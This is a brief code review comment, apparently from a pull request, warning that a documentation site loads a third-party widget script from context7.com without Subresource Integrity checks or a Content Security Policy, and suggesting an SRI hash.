Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
External script loaded from third-party domain without integrity checks. The widget.js script is loaded from https://context7.com without any Subresource Integrity (SRI) hash or Content Security Policy. This creates a security risk as a compromise of the context7.com domain or a man-in-the-middle attack could inject malicious JavaScript into the documentation site. Consider adding an integrity attribute with an SRI hash if the script content is stable, or at minimum document this security tradeoff.